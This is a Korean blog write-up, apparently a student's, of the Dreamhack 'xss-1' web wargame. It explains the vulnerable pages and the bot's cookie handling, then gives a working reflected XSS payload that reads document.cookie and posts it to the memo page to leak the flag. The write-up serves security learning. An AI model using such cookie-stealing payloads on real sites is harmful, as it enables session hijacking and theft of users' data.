본문 바로가기

워게임

[드림핵] xss1 - web

xss-1 | 워게임 | Dreamhack

 

xss-1

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.플래그 형식은 DH{...} 입니다.문제 수정 내역202

dreamhack.io

일단, 문제에서 알아야 하는 건

1. 사용자가 입력한 URL을 봇(bot) 이 방문한다.

2. 봇은 flag.txt 내용을 FLAG 변수에 저장하고 있다.

3. 봇이 상대의 악성 스크립트를 실행하게 만들면, FLAG를 상대의 서버로 전송시킬 수 있다.

 

 

 

 

문제 사이트에 들어가 봄.

페이지 3개가 있음. 

 

(1) vuln(xss) page 에 들어감

 

1을 hihi 이런식으로 바꿔보면

이렇게 script가 들어간 파라미터를 그대로 return하는 것을 확인 할 수 있다.

 

코드는 이거.

 

 

 

 

(2) memo 페이지에 들어가봄

hihi로 바꿔봄

memo 파라미터로 입력된 값을 전송하면 해당 변수가 페이지 내 삽입됨을 확인.

xss 페이지와 유사함

 

코드를 보면

memo_text에 입력되는 게 차례대로 출력되는 듯.

 

 

 

3) flag 페이지

 

암거나 입력해도 good 이라 뜸.

 

 

코드는 이거.

 

 

 

 

 

이 코드를 보면

read_url 함수가 실행되면

 

driver.get("http://127.0.0.1:8000/")

 -> 먼저 로컬페이지를 연다

driver.add_cookie(cookie)

-> 전달한 쿠키를 브라우저에 추가한다. (쿠키의 domain이 127.0.0.1로 되어 있음)

driver.get(url)

-> 최종 공격할 사용자가 준 URL을 봇이 방문해서 페이지를 렌더링(자바스크립트 실행)함.

 

 

따라서

봇이 내가 준 URL을 방문하고, 그 때 브라우저에 특정 쿠키가 설정되어 있는 상태임.

-> 페이지에서 document.cookie나 JS 변수에 접근하면 탈취 가능하다는 거.

 

 

공격구문: xss=<script>window.open('http://127.0.0.1:8000/memo?memo='+document.cookie)</script>

=> 'http://127.0.0.1:8000/memo?memo={현재 로컬의 쿠키 값}' 페이지를 새 창으로 여는 스크립트 구문

=> memo 페이지에 FLAG가 삽입된 로컬의 쿠키 값 인자 값으로하여 작성하는 것으로 이해하면 된다고 함...

출처: https://mokpo.tistory.com/59 [MSS:티스토리]

 

flag페이지에 

<script>window.open('http://127.0.0.1:8000/memo?memo='+document.cookie)</script>

를 입력하고

memo창에 들어가면

 

출력되어 있음

플래그값 나옴...

 

 

 

 

 

 

 

 

driver.add_cookie({"name":"flag","value":FLAG,"domain":"127.0.0.1"}) 때문에 플래그가 브라우저 쿠키에 들어 있음 → document.cookie로 읽을 수 있음.

 

window.open('http://127.0.0.1:8000/memo?memo='+document.cookie) 은 즉시 GET 요청을 만들어 서버에 플래그를 남김.

 

'워게임' 카테고리의 다른 글

rev-basic-0 - 리버싱 추가 공부  (0) 2026.01.11
[드림핵] rev-basic-0 - 리버싱  (0) 2026.01.11
SQL 인젝션 추가 공부  (0) 2025.11.04
[드림핵] simple_sqli - web  (0) 2025.11.04
XSS 취약점 문제 추가 공부  (0) 2025.10.28